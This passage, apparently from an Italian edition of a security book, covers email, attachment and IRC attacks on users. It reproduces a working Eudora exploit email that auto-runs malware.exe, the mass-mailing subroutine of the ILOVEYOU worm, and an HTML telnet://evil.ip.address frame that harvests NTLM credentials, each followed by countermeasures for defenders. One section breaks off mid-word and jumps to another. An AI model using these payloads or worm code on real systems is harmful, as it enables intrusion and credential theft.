Questa vulnerabilità deriva dalla modalità in cui Eudora inserisce i file nei messaggi e-mail HTML (per esempio le immagini inline). Questi sono memorizzati in una directory speciale, detta "cartella intercalata". L'e-mail HTML può successivamente far riferimento a questi file utilizzando il loro CID (*Content ID*) di MIME come parte di URL con il tag "cid:content-id".

Quindi, se un hacker crea un messaggio e-mail HTML, con due allegati intercalati nel messaggio e con un unico riferimento al CID di uno dei due allegati nel corpo del messaggio, questi possono essere eseguiti sul sistema del client. Il riferimento inline chiama il primo allegato HTML, che contiene il codice JavaScript, che istanzia il secondo come un oggetto ActiveX e lo esegue.

Il seguente codice dimostrativo preso dal sito `http://www.malware.com/you!DORA.txt` illustra la vulnerabilità (per brevità se ne è editato solo il contenuto codificato a Base64):

```
MIME-Version: 1.0
To: hapless@victim.com
Subject: YOU!DORA
Content-Type: multipart/related;
 boundary="-CF416DC77A62458520258885"

-CF416DC77A62458520258885
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 3.2//en">
<html>
<head>
<title>YOU!DORA</title>
</head>

<body bgcolor="#0000ff" text="#000000" link="#0000ff"
vlink="#800080" alink="#ff0000">
<br>
<br>
<img SRC="cid:mr.malware.to.you" style="display:none">
<img id=W0W src="cid:malware.com"   style="display:none">
<center><h6>YOU!DORA</h6></center>
<IFRAME  id=malware width=10 height=10 style="display:none" ></IFRAME>

  <script>
// 18.03.01 http://www.malware.com
malware.location.href=W0W.src
</script>
</body>
</html>

-CF416DC77A62458520258885
Content-Type: application/octet-stream
Content-ID: <mr.malware.to.you>
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="malware.exe"
[base64-encoded attachment "malware.exe"]
-CF416DC77A62458520258885
Content-Type: application/octet-stream; charset=iso-8859-1
Content-ID: <malware.com>
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="You!DORA.html"

[base64-encoded attachment "You!DORA.html"]
-CF416DC77A62458520258885--
```

Quando il client di Eudora riceve questo messaggio, trasferisce i due file `You!DORA.html` e `malware.exe` nella cartella intercalata: questo è il modo consueto in cui si comportano gli allegati inline MIME. Il file JavaScript `location.href` nel corpo del messaggio successivamente chiama il Content ID di `You!DORA.html`, il quale, in cambio, esegue, tramite l'intercalato JavaScript, `malware.exe` all'interno del suo co-

dice HTML. Sebbene il contenuto del file sia codificato in Base 64 nel messaggio originale, l'aspetto di `You!DORA.html` in ASCII è il seguente:

```
<script>
// http://www.malware.com - 18.03.01
document.writeln('<IFRAME ID=runnerwin WIDTH=0 HEIGHT=0
SRC="about:blank"></IFRAME>');
function linkit(filename)
{
   strpagestart = "<HTML><HEAD></HEAD><BODY><OBJECT  CLASSID=" +
      "'CLSID:15589FA1-C456-11CE-BF01-00AA0055595A' CODEBASE='";
   strpageend = "'></OBJECT></BODY></HTML>";
   runnerwin.document.open();
   runnerwin.document.write(strpagestart + filename + strpageend);
 }
linkit('malware.exe');
</script>
```

Come si può ben vedere, il file `malware.exe` viene eseguito automaticamente per mezzo della routine "linkit", la quale inserisce il nome del file nel contenuto HTML e lo riversa nel `IFRAME` (ulteriori informazioni sull'esecuzione automatica dei file attraverso la connessione all'ipertesto, tra cui il codice campione su cui si basa, possono essere trovate in KB Articolo Q232077 all'indirizzo `http://support.microsoft.com/default.aspx?scid=KB;en-us;q232077`).
L'ultimo risultato è l'esecuzione trasparente e automatica di `malware.exe` con nessun intervento dell'utente, semplicemente per mezzo dell'anteprima del messaggio di mail in entrata. `malware.exe` esegue una shell di comando a tutto schermo accompagnata da un'immagine (di fiamme attizzate).

Contromisure all'allegato nascosto di Eudora

La migliore contromisura per questo problema è probabilmente l'aggiornamento a Eudora 5.1, disponibile per il download gratuito dal sito `http://www.eudora.com`. Una soluzione è la disattivazione dell'opzione *Use Viewer* di Microsoft in *Strumenti/Opzioni/Visualizzare Mail*. Anche disabilitando JavaScript e ActiveX dentro IE indebolirebbe questo attacco. Questa vulnerabilità è catalogata come ID 2490 Bugtraq al sito `http://www.securityfocus.com/bid/2490`.

Worm che attaccano la rubrica di Outlook

Negli ultimi anni del ventesimo secolo i grandi ideatori di codice maligno di tutto il mondo decisero di divertirsi alle spalle degli utenti di Outlook e Outlook Express e rilasciarono una marea di worm basati su un'elegante tecnica di autopropagazione: inviandosi a ogni voce presente nella rubrica personale di ciascuna vittima, il worm dissimulava la propria origine sotto le vesti di un mittente conosciuto. Questo piccolo esempio di tecnica di persuasione (Capitolo 14) fu un vero colpo di genio. Le aziende con decine di migliaia di utenti Outlook furono costrette a chiudere i mail server per cercare di far fronte all'influsso dei messaggi che continuavano a rimbalzare da un utente all'altro, affollando le caselle di posta e mettendo a dura prova lo spazio su disco dei mail server. Chi poteva resistere alla tentazione di aprire allegati provenienti da un mittente conosciuto e affidabile?

Il primo missile di questo tipo diffuso tramite posta elettronica si chiamava Melissa, e sebbene il suo presunto autore David L. Smith fosse stato arrestato e alla fine dichiarato colpevole in secondo grado di crimine informatico con una condanna da cinque a dieci anni di reclusione e un'ammenda fino a 150.000 dollari, gli hacker continuarono a diffondere le loro creazioni per anni. Nomi come Worm.Explore.Zip, BubbleBoy e ILOVEYOU si diffusero a macchia d'olio fin quando i mass media sembrarono stancarsi di dare grande rilievo a questi attacchi verso la fine del 2000. La minaccia comunque persiste e deve essere senza dubbio presa in considerazione.

Worm ILOVEYOU

Diffusione:	*5*
Semplicità:	*5*
Impatto:	*10*
Fattore di rischio:	*7*

Ecco la subroutine in linguaggio VBScript (*Visual Basic Script*) tratta dal worm ILOVEYOU che provocava la sua diffusione tramite posta elettronica (alcune righe sono state spezzate manualmente per adattarle alla pagina):

```
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software
                       \Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
```

```
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
```

Questa semplice routine di 37 righe richiama la MAPI (*Messaging Application Programming Interface*) per scandagliare il WAB (*Windows Address Book*) del Registro di sistema e crea un elemento di posta con l'oggetto "ILOVEYOU" e la frase "kindly check the attached LOVELETTER coming from me" nel corpo del messaggio per ogni destinatario trovato (ringraziamo Brian Lewis di Foundstone Inc. per l'aiuto fornito nell'analisi del codice). Nel caso che tra i lettori vi sia qualche non programmatore convinto che questa sia scienza di livello spaziale, lasciateci rammentare che ILOVEYOU si basava su una tesi accademica scritta da uno studente universitario di ventitré anni. Chi può sapere quanti danni avrebbe potuto provocare?

Come fermare i worm che attaccano la rubrica

Dopo anni di attacchi da parte dei mass media, Microsoft si è stancata di sottolineare che i principali responsabili dell'avvio di allegati contenenti questo tipo di worm sono gli utenti e ha rilasciato una patch, denominata Outlook 2000 SR-1 E-mail Security Update (`http://office.microsoft.com/downloads/2000/Out2ksec.aspx`). Una caratteristica di questa soluzione trivalente era l'Object Model Guard, progettato per avvisare l'utente ogniqualvolta un programma esterno cercava di accedere alla rubrica di Outlook o di inviare posta elettronica per conto dell'utente.

RSTCorp (*Reliable Software Technologies Corporation*, ora Cigital, `http://www.cigital.com`) ha rilasciato un'utility aggiuntiva che ferma determinate chiamate a Outlook monitorando il Virtual Basic Scripting Engine e pertanto interrompendo la diffusione di virus come ILOVEYOU. Questa patch, chiamata JBF (*JustBeFriends.dll*), può essere utilizzata in combinazione con l'aggiornamento di Microsoft per Out-look. Al contrario dell'Object Model Guard di Microsoft, che funziona controllando l'accesso alle funzioni interne a Outlook che possono essere utilizzate per raccogliere indirizzi di posta elettronica o inviare messaggi, JBF "funziona controllando la capacità di altre applicazioni di accedere a Outlook o Outlook Express. Nel caso in cui l'accesso provenga da uno script eseguito dal desktop o da un allegato, esso viene negato, mentre in caso contrario all'utente viene chiesto di confermare che l'applicazione può accedere ad Outlook" (come descritto dai Technical Details on JBF alla pagina `http://www.cigital.com/jbf/tech.html`).

Cigital sostiene che il suo approccio è superiore, dal momento che l'Object Model Guard di Microsoft deve proteggere un notevole elenco di oggetti per poter avere successo, un compito decisamente impegnativo. Essi inoltre osservano che gli indirizzi di posta elettronica possono sempre essere esposti nel caso in cui appaiano nelle firme, nel corpo dei messaggi o in altri documenti e che "è probabile che in futuro verranno individuati nuovi metodi volti a sfruttare i difetti di Outlook per inviare posta elettronica". Sbarrando l'accesso a Outlook/OE da parte degli script, JBF in teoria è in grado di prevenire nuovi attacchi basati su un'ampia gamma di tecniche di attacco correlate.

JustBeFriends è disponibile all'indirizzo `http://www.cigital.com/jbf/`. Lo consigliamo agli utenti di Outlook/OE su piattaforme NT/2000.

JustBeFriends non funziona sulle piattaforme Win 9x.

Attacchi tramite allegati

Una delle caratteristiche più utili della posta elettronica è la capacità di allegare file ai messaggi. Questa grande opportunità di risparmiare tempo presenta tuttavia ovvi svantaggi, in particolare legati all'inguaribile tendenza degli utenti a eseguire qualunque file ricevuto tramite posta elettronica: nessuno sembra rendersi conto che ciò equivale a invitare i malintenzionati direttamente nel proprio salotto di casa.
Di seguito analizzeremo diversi attacchi che si basano su file allegati a messaggi di posta elettronica, molti dei quali ruotano attorno a meccanismi per nascondere la natura del file allegato o per renderlo irresistibilmente invitante e costringere quindi l'utente a fare il fatidico clic con il mouse. Esamineremo tuttavia altre forme di attacco molto più insidiose che scrivono i file allegati direttamente sul disco senza alcun intervento o consapevolezza da parte dell'utente. La maggior parte degli utenti Internet sa che gli allegati ai messaggi di posta elettronica devono essere maneggiati con estrema prudenza e grande scetticismo. Speriamo quindi che quanto diremo serva a rinforzare al massimo questo concetto.

Attacchi tramite file scrap allegati

Diffusione:	*5*
Semplicità:	*5*
Impatto:	*10*
Fattore di rischio:	*7*

Uno dei segreti meno noti di Windows è che, nel caso di file con estensione .shs, l'estensione vera e propria viene nascosta di default in base all'impostazione del Registro di sistema *HKEY_CLASSES_ROOT\ShellScrap\NeverShowExt*. Questo probabilmente non sarebbe un grande problema, se non fosse che i file .shs, noti anche come file scrap o oggetti scrap della shell (*Shell Scrap Objects*), possono ese-guire comandi: in base alla tecnologia OLE (*Object Linking and Embedding*) ana-lizzata nel paragrafo relativo ad ActiveX, i file scrap sono sostanzialmente wrapper per altri oggetti incorporati, che possono essere fogli di lavoro Excel (che alla maggior parte degli utenti capita di vedere incorporati in documenti Word) o altri file. Il modo più semplice per crearne uno è incorporare un file in un'altra applicazione compatibile OLE (provate con Wordpad) e poi copiare la sua icona in un'altra cartella: il file a questo punto è contenuto nel proprio file wrapper, con la propria icona speciale e un'estensione esclusiva (.shs). Quando il file SHS viene avviato, è eseguito anche l'oggetto incorporato. Ma c'è dell'altro, perché è possibile associare comandi all'oggetto incorporato tramite l'Object Packager di Microsoft, il che spalanca un vasto orizzonte di potenziali attività dolose a chiunque abbia anche solo una discreta familiarità con il DOS.
Nel giugno del 2000 qualcuno lanciò un worm chiamato LifeChanges che sfruttava proprio queste caratteristiche dei file scrap per attaccare gli utenti. Il worm veniva tra-

smesso tramite messaggi di posta elettronica con una riga di oggetto variabile che faceva riferimento a barzellette contenute nel file allegato, che era un file scrap con una falsa estensione .txt che lo rendeva simile a un comune file di testo (anche l'icona predefinita dei file scrap è come quella dei file di testo). Una volta eseguito, LifeChanges svolgeva le consuete attività: si replicava inviandosi ai primi cinquanta indirizzi presenti nella rubrica della vittima, cancellava file e così via. È stato stupefacente vedere che qualcuno aveva potuto sferrare un attacco basato in modo lampante sulle caratteristiche pericolose dei file scrap che erano note da anni e descritte in modo molto divertente sul sito Web PCHelp (`http://www.pc-help.org/security/scrap.htm`). Chissà quante altre mine vaganti come questa sono in attesa pronte a esplodere nel Registro di sistema di Windows!

Contromisure ai file scrap

Su PCHelp potete trovare alcuni ottimi consigli per attutire gli aspetti più pericolosi dei file scrap, tra cui citiamo i seguenti.

- Cancellate il valore `NeverShowExt` del Registro di sistema citato in precedenza e da *HKLM\SOFTWARE\Classes\DocShortcut*, rendendo in tal modo visibili le estensioni .shs e .shb in Windows (i file .SHB hanno un comportamento analogo ai file .SHS).
- Aggiornate i programmi antivirus in modo che cerchino i file .SHS e .SHB oltre agli altri tipi di file eseguibili.
- Disabilitate completamente i file scrap rimuovendoli dall'elenco di file conosciuti di Windows oppure cancellando il file shscrap.dll dalla cartella *System*.
- Non servitevi di Windows Explorer ma utilizzate il vecchio File Manager (winfile.exe su NT 4).

Nascondere l'estensione degli allegati alla posta elettronica inserendo molti spazi

Diffusione:	*7*
Semplicità:	*8*
Impatto:	*9*
Fattore di rischio:	*8*

In un messaggio alla mailing list Incidents (URL) del 18 maggio 2000 (si veda `http://www.securityfocus.com/archive/75/60687`), Volker Werth segnalò un metodo per inviare allegati di posta elettronica cha nascondevano in modo intelligente il nome del file allegato. Riempiendo di spazi il nome del file (%20 in esadecimale), i programmi di lettura della posta possono essere costretti a visualizzare solo i primi caratteri del nome dell'allegato nell'interfaccia utente. Per esempio:

```
freemp3.doc    . . . [150 spazi] . . .   .exe
```

Questo allegato appare come `freemp3.doc` nell'interfaccia utente, un file dall'aspetto perfettamente legittimo che potrebbe essere salvato su disco o avviato diretta-

mente dal programma di posta. La figura seguente mostra come appare in Outlook Express.

Contromisure agli allegati con estensione nascosta

Come potete notare dall'icona che appare nella figura precedente, l'allegato non è certamente un documento Word. Anche i puntini di sospensione finali aiutano a confermare i sospetti. E se anche questi indizi non fossero sufficienti, non dovreste comunque aprire gli allegati direttamente dai messaggi! La patch alla sicurezza di Outlook SR-1 può essere di aiuto con questi problemi, poiché obbliga l'utente a salvare su disco i file allegati più pericolosi (fate riferimento a `http://office.microsoft.com/downloads/2000/Out2ksec.aspx`).

Tecniche per convincere a scaricare un allegato

Diffusione:	*10*
Semplicità:	*10*
Impatto:	*10*
Fattore di rischio:	*10*

L'approccio diretto che porta a salvare su disco un allegato è la persuasione. Non vi è mai capitato di trovare il seguente testo nel corpo di un messaggio di posta elettronica?

> "This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If

the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set."

(Questo messaggio utilizza un set di caratteri non supportato dal servizio Internet: per vedere il contenuto originale del messaggio, aprite il messaggio allegato. Se il testo non viene visualizzato correttamente, salvate l'allegato su disco e poi apritelo con un viewer in grado di visualizzare il set di caratteri originale.)

Questo è un messaggio standard creato quando i messaggi di posta elettronica (in formato .EML) vengono inoltrati agli utenti Outlook e si verifica qualche errore nella gestione MIME del messaggio incluso/inoltrato. Ci sorprende che questa sia una tecnica quasi irresistibile per convincere qualcuno a eseguire un allegato (sia direttamente sia dopo averlo salvato su disco). È capitato anche a noi di ricevere messaggi di questo tipo provenienti da listserver di mailing list sulla sicurezza molto famose! Ovviamente questo è solo un esempio dell'illimitata gamma di possibili testi che un hacker potrebbe inserire nel corpo o nel campo dell'oggetto di un messaggio. Non fatevi ingannare!

Contromisure alle forme di violazione per scaricare gli allegati

Qui l'unico nemico è il dito posizionato sul mouse: insegnategli ad avere pazienza e controllate gli allegati scaricati con un software antivirus prima di eseguirli; inoltre, controllate attentamente il mittente del messaggio prima di decidere di avviare, e sappiate che alcuni worm come ILOVEYOU possono assumere l'identità dei vostri amici più fidati.

Scrittura di allegati su disco senza intervento dell'utente

Fino a questo punto abbiamo parlato di diversi meccanismi per l'esecuzione di file che potrebbero risiedere sul disco dell'utente remoto; gli attacchi elencati finora in genere contavano su eseguibili esistenti (sul server remoto o sul disco locale dell'utente) per svolgere le loro attività dolose. Cosa accadrebbe se un hacker avesse la capacità di scrivere file sul disco della vittima? Questo rappresenterebbe un metodo perfetto per recapitare un pacchetto dati minatorio e poi farlo esplodere a distanza.

Intercettazione della funzione Salva con nome di Excel/PowerPoint

Diffusione:	*5*
Semplicità:	*5*
Impatto:	*8*
Fattore di rischio:	*6*

A fondamento di questo attacco possiamo trovare l'osservazione di Georgi Guninski che Microsoft Excel e PowerPoint hanno una funzione *Salva con nome* (`http://www.guninski.com/sheetex-desc.html`) e che pertanto, una volta chiamato un documento Office in Internet Explorer con il tag `OBJECT` (come abbiamo visto in precedenza), esso offre la capacità di salvare dati in una posizione arbitraria sul di-

che SMBCapture sia ascoltato su `attacker_server` o sul suo segmento di rete locale, verrà riversato il traffico NTLM di richiesta di chiarificazione.
Una variazione a questo attacco consiste nell'impostare un server SMB falso per catturare gli hash, oltre che uno sniffer quale SMBCapture. Nel Capitolo 6 abbiamo parlato dei server SMB falsi, che possono catturare hash o addirittura registrarsi nella macchina della vittima servendosi delle credenziali rubate.

Contromisure alla redirezione SMB

Il rischio presentato dagli attacchi di redirezione SMB può essere ridotto in diverse maniere.
Una consiste nel garantire che vengano seguite le maggiori pratiche di sicurezza della rete. Ponete i servizi SMB in reti protette: limitate strettamente il traffico in uscita ai limiti dei firewall e assicuratevi che l'infrastruttura della rete complessiva non permetta al traffico SMB di passare attraverso nodi non sicuri. Una conseguenza logica di questo rimedio è assicurarsi che punti di accesso fisici alla rete (spine a muro ecc.) non siano esposti al passaggio anche casuale di estranei (ricordatevi che ciò è reso più difficoltoso dal crescente prevalere di reti a connessione wireless). Oltre a questo, sebbene sia in genere una buona idea utilizzare caratteristiche incorporate nell'attrezzatura di rete o DHCP per prevenire intrusioni da registrazioni fisiche e da indirizzi di livello rete senza la vostra autenticazione, vi rendete conto che gli attacchi di sniffing non richiedono all'hacker di ottenere un indirizzo MAC o IP. Loro operano in modo indiscriminato.
Poi configurate tutti i sistemi Windows all'interno del vostro ambiente per disattivare la diffusione degli hash LM e NTLM online. Questo risultato viene raggiunto utilizzando l'impostazione LAN Manager Authentication Level (vedi Capitoli 5 e 6).
La migliore difesa per questo attacco è richiedere SMB Packet Signing sulla vostra macchina. Ogni sessione che viene intercettata nel modo precedente non sarà in grado di riconnettersi alla vostra casella con questa impostazione abilitata (è nel Group Policy Security Settings in Windows 2000).

Raccolta di credenziali NTLM con telnet://

Diffusione:	*4*
Semplicità:	*9*
Impatto:	*7*
Fattore di rischio:	*7*

Come se l'URL file:// non fosse già abbastanza spiacevole, il client Internet di Microsoft esegue automaticamente l'analisi dell'URL telnet://server e apre una connessione al server. Questo permette anche a un hacker di creare un messaggio e-mail HTML che forza un'autenticazione in uscita sopra ogni porta:

```
<html>
<frameset rows="100%,*">
<frame src=about:blank>
<frame src=telnet://evil.ip.address:port>
</frameset>
</html>
```

Normalmente questo non riveste particolare importanza eccetto che per Win 2000, il client di telnet incorporato è impostato per utilizzare l'autenticazione NTLM di default. Quindi in risposta al precedente HTML, un sistema Win 2000 cercherà con successo di registrare in *evil.ip.address* servendosi del meccanismo standard di richiesta di chiarificazione NTLM. Questo meccanismo, come abbiamo visto nel Capitolo 5, può esporsi ad attacchi spia e MITM (*Man-In-The-Middle*) che rivelano il nome utente e la password della vittima.

Questo attacco riguarda una moltitudine di parser HTML e non fa affidamento su alcun modulo di Active Scripting o JavaScript. Quindi nessuna configurazione IE può evitare questo comportamento. Il riconoscimento spetta a DilDog del famoso Back Orifice che invia questo attacco a Bugtraq.

Contromisure agli attacchi telnet://

Le migliori pratiche di sicurezza della rete dicono che il traffico di autenticazione NTLM *in uscita* deve essere bloccato al perimetro del firewall. Tuttavia questo attacco produce credenziali NTLM che devono essere inviate sul protocollo telnet. Assicuratevi anche di bloccare telnet in uscita al perimetro della porta.

Al livello di host, configurate il client telnet di Win 2000 in modo che esso non utilizzi l'autenticazione NTLM. Per fare questo eseguite telnet all'invio del prompt dei comandi, digitate `unset ntlm` e poi uscite da telnet per salvare i vostri preferiti nel Registro di sistema. Microsoft ha anche fornito una patch in MS00-067 che presenta un messaggio di allerta per l'utente prima di inviare automaticamente le credenziali NTLM a un server che risiede in una zona pericolosa (MS00-067 può essere trovato al sito `http://www.microsoft.com/technet/treeview/default.asp?url=technet/security/bulletin/MS00-067.asp`). Questo è stato anche stabilito in Window 2000 SP2. Questa vulnerabilità è catalogata come Bugtraq ID 1683 (`http:// www.securityfocus.com/bid/1683`).

È anche il caso di aggiungere che l'impostazione LAN Manager Authentication Level in Security Policy può rendere molto difficile estrarre le credenziali dell'utente dagli scambi di richiesta di chiarificazione NTLM, come illustrato nel Capitolo 5. Impostandolo a inviare solo NTLMv2 Response o successivi può ridurre il rischio di un'esposizione agli attacchi spia LM/NTLM (questo presuppone la disponibilità limitata di programmi che estrarranno gli hash dal traffico NTLMv2). Gli attacchi del server falso e MITM contro l'autenticazione NTLMv2 sono ancora fattibili, assumendo che il server falso/MITM possa negoziare NTLMv2 con il server a vantaggio del client.

Hacking di IRC

IRC (*Internet Relay Chat*) rimane una delle applicazioni più utilizzate su Internet, a causa non solo della gratificazione immediata della comunicazione in tempo reale, ma anche della capacità di scambiare istantaneamente file con i client IRC più moderni. Ma è proprio da qui che nascono i problemi.

I neofiti di IRC spesso sono confusi dalla frequente offerta di file da parte dei partecipanti di un canale: molti sono abbastanza prudenti da rifiutare le offerte provenienti dai totali sconosciuti, tuttavia la natura stessa di IRC tende a far sì che questa formalità svanisca rapidamente. Un parente di uno degli autori è stato ingannato da uno stratagemma di questo genere, un semplice file batch che ha formattato il suo

disco fisso. Come nel caso degli allegati innocui ai messaggi di posta elettronica, tuttavia, il problema è spesso più insidioso, come vedremo tra breve.

Attacchi con file inviati tramite DCC

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*9*

Questo tipo di attacco è stato oggetto di un interessante thread sulla mailing list Incidents gestita da Security Focus (`http://www.securityfocus.com`; cercate INCIDENTS Digest dal 10 luglio 2000 all'11 luglio 2000, #2000-131). A un utente curioso era stato offerto un file tramite DCC (su IRC viene utilizzato un metodo chiamato DCC Send e DCC Get per connettersi direttamente a un altro client IRC per inviare e prelevare file, invece di passare attraverso la rete IRC). Il file si chiamava LIFE_STAGES.TXT (dove l'abbiamo già visto? Suggerimento: riguardate nel paragrafo dedicato ai file scrap di Windows come allegati). Non poteva trattarsi che di un evidente tentativo di provocare danni sul sistema dell'utente, oppure di un attacco automatico inviato da un client IRC compromesso all'insaputa dell'utente.
Questa è una delle caratteristiche di IRC che disarma rapidamente i nuovi utenti: i client IRC che sono stati compromessi da un worm possono incorporarsi nelle routine automatizzate degli script del client, collegandosi automaticamente tramite DCC a chiunque si unisca a un canale senza che l'utente al terminale ne sappia qualcosa.
Inoltre è probabile che il worm analizzato nel thread di Incidents fosse configurato in modo da impostare l'opzione per ignorare automaticamente le proposte dei più noti antivirus quando si univa a determinati canali. Tali worm inoltre ignorano automaticamente le persone che scrivono al client utilizzando termini come "infected", "lifestages", "remove", "virus". Può quindi trascorrere molto tempo prima che l'utente infetto possa essere avvisato del problema senza che venga innescata la funzione che ignora automaticamente i messaggi.

Contromisure per DCC

Fortunatamente, il comportamento predefinito della maggior parte dei client IRC prevede che i file prelevati tramite DCC vengano memorizzati in una directory di download specificata dall'utente, che pertanto deve spostarsi verso di essa e avviare manualmente il file.
Come gli allegati ai messaggi di posta elettronica, anche i file ricevuti tramite DCC devono essere considerati con molto scetticismo. Oltre ai soliti sospetti (i file .BAT, .COM, .EXE, .VBS e .DLL), guardatevi dai documenti Microsoft Office che possono contenere macro dannose, così come dagli Alias, Popup o Script per l'automazione del client IRC che possono assumere il controllo del client: consigliamo vivamente l'impiego di un programma di scansione antivirus per questi file.
Il tentativo di rintracciare gli utenti malintenzionati su IRC tipicamente non dà alcun frutto e si rivela una perdita di tempo. Come è stato messo in luce nel thread di Incidents, la maggior parte degli hacker si connette a IRC con host virtuali (vhost) tramite BNC (IRC Bouncer, sostanzialmente un server proxy IRC). Pertanto il tentativo

di risalire a un dato indirizzo IP può rivelare non l'utente effettivamente seduto al terminale, ma piuttosto il server che esegue il BNC.

Contromisure generali all'hacking dell'utente di Internet

In questa parte dedicata all'hacking dell'utente Internet abbiamo analizzato moltissime tecniche a disposizione dei malintenzionati, molte delle quali ruotano attorno alla possibilità di ingannare l'utente, convincendolo a eseguire virus, worm e un altro codice dannoso. Abbiamo anche descritto molte soluzioni mirate per questi problemi, ma abbiamo finora evitato l'analisi di una strategia di difesa ad ampio spettro contro gli attacchi di questo tipo.

Aggiornamento delle firme dell'antivirus

Ovviamente una difesa di questo tipo esiste ed è nota da molti anni: si chiama software antivirus e correte seri rischi se non ne avete uno in esecuzione sul vostro sistema. Sono tantissimi i produttori tra i quali potete scegliere se cercate un software antivirus: Microsoft pubblica un elenco molto valido alla pagina `http://support.microsoft.com/support/kb/articles/Q49/5/00.ASP`. La maggior parte dei prodotti più noti (come Symantec Norton Antivirus, McAfee, Data Fellows, Trend Micro, Computer Associates Inoculan/InoculateIT e simili) si comportano in modo analogo e sono tutti validi per tenere alla larga il codice maligno.
L'unico svantaggio principale nel metodo impiegato dal software antivirus è che non offre una protezione contro i nuovi virus se non gli è stato insegnato come riconoscerli. I produttori di antivirus si affidano pertanto a meccanismi di aggiornamento che prevedono il prelevamento periodico da parte dei clienti delle nuove definizioni dei virus. Esiste pertanto una fase di maggiore vulnerabilità tra il primo rilascio di un nuovo virus e il momento in cui l'utente aggiorna le definizioni dei virus. A patto che siate consapevoli di questa possibile vulnerabilità e che impostiate il software antivirus per aggiornarsi automaticamente a intervalli regolari (settimanalmente dovrebbe essere sufficiente), gli strumenti antivirus offrono un altro robusto livello di difesa contro molti dei pericoli descritti nelle pagine precedenti. Ricordatevi di abilitare le funzioni di protezione automatica del software per sfruttarne a pieno tutti i vantaggi, in particolare la scansione automatica della posta elettronica e dei floppy. Tenete anche aggiornate le definizioni dei virus! La maggior parte dei produttori offre un anno gratuito di aggiornamento, ma poi richiede il rinnovo della sottoscrizione automatica per una piccola somma (per esempio Symantec offre uno di questi servizi economici che potete scaricare dal sito `http://www.symantec.com/avcenter/download.html`).
Sappiate inoltre che esistono molti falsi allarmi relativi ai virus, che possono causare danni quanto i virus stessi. Consultate la pagina `http://vmyths.com/hoax.cfm?page=0` per trovare un elenco di quelli più famosi.

Protezione dei gateway

Il modo più efficiente per proteggere un grande numero di utenti rimane una rigida strategia di difesa a livello di rete. Ovviamente occorre sfruttare al massimo i

firewall per combattere molti dei problemi trattati in questo capitolo; in particolare dovete prestare attenzione alle liste di controllo degli accessi in uscita, che possono fornire un'importante barriera contro il codice pericoloso che cerca di connettersi a server gestiti da hacker posizionati all'esterno del perimetro della rete.

In aggiunta sono disponibili molti prodotti che sottopongono a scansione la posta elettronica o il traffico Web in ingresso per intercettare il codice sospetto: un esempio è la tecnologia SurfinGate di Finjan (`http://www.finjan.com`), che si colloca sul confine della rete (sotto forma di plug-in per i firewall esistenti o come proxy) e controlla tutti i file Java, ActiveX, JavaScript, eseguibili, Visual Basic Script, plug-in e cookie per costruire un profilo di comportamento basato sulle azioni richieste da ogni modulo di codice. Il modulo viene poi identificato in modo esclusivo con un hash MD5 così ripetitivo che gli scaricamenti dello stesso modulo necessitano di una sola scansione. SurfinGate confronta il profilo di comportamento con un criterio di protezione concepito dall'amministratore di rete e poi prende la decisione di autorizzare o bloccare in base all'intersezione del profilo con il criterio.

Finjan rende disponibile anche una versione personale di SurfinGate chiamata SurfinGuard, che offre un ambiente sandbox nel quale eseguire il codice scaricato.

Quella di Finjan è un'interessante tecnologia che allontana dai confusi e poco informati utenti finali il problema della gestione del codice mobile. La sua tecnologia sandbox ha inoltre il vantaggio di riuscire a impedire gli attacchi da parte dei compressori PE (*Portable Executable*, eseguibili portabili). Essi possono comprimere i file .EXE Win32 e modificano effettivamente la firma binaria dell'eseguibile. L'eseguibile compresso che ne risulta può aggirare qualunque motore di scansione antivirus statico perché il file .EXE non viene estratto al suo stato originale prima di essere eseguito (e pertanto il tradizionale controllo delle firme degli antivirus non lo rileva). Ovviamente però la sua validità è legata al criterio o ai parametri di protezione tramite sandbox su cui si fonda, che sono configurati sempre dai soliti esseri umani responsabili di tanti degli errori che abbiamo trattato in questo capitolo.

Parte V

Appendici

Appendice A

Porte

La disponibilità di un elenco preciso delle porte e dei rispettivi proprietari può rivelarsi fondamentale per identificare le falle nei sistemi; infatti, uno degli ostacoli maggiori da superare è comprendere quali oggetti sono presenti sulla rete. La scansione di tutte le 131.070 porte (da 1 a 65535 sia per TCP sia per UDP) su ogni host potrebbe richiedere intere giornate, mentre un elenco di porte selezionate può consentire se non altro di eliminare i bersagli più immediati.

L'elenco seguente non pretende di essere esaustivo, in quanto alcune delle applicazioni riportate possono essere configurate in modo da mettersi in ascolto su porte completamente diverse, ma è pur sempre un buon punto di partenza per identificare eventuali applicazioni non autorizzate. Le porte incluse in questo elenco sono quelle maggiormente utilizzate per raccogliere informazioni o ottenere l'accesso ai sistemi informatici. Per un elenco completo delle porte potete visitare l'indirizzo `http://www.iana.org/assignments/port-numbers`.

Servizio o applicazione	Porta/Protocollo
echo	7/tcp
systat	11/tcp
chargen	19/tcp
ftp-data	21/tcp
ssh	22/tcp
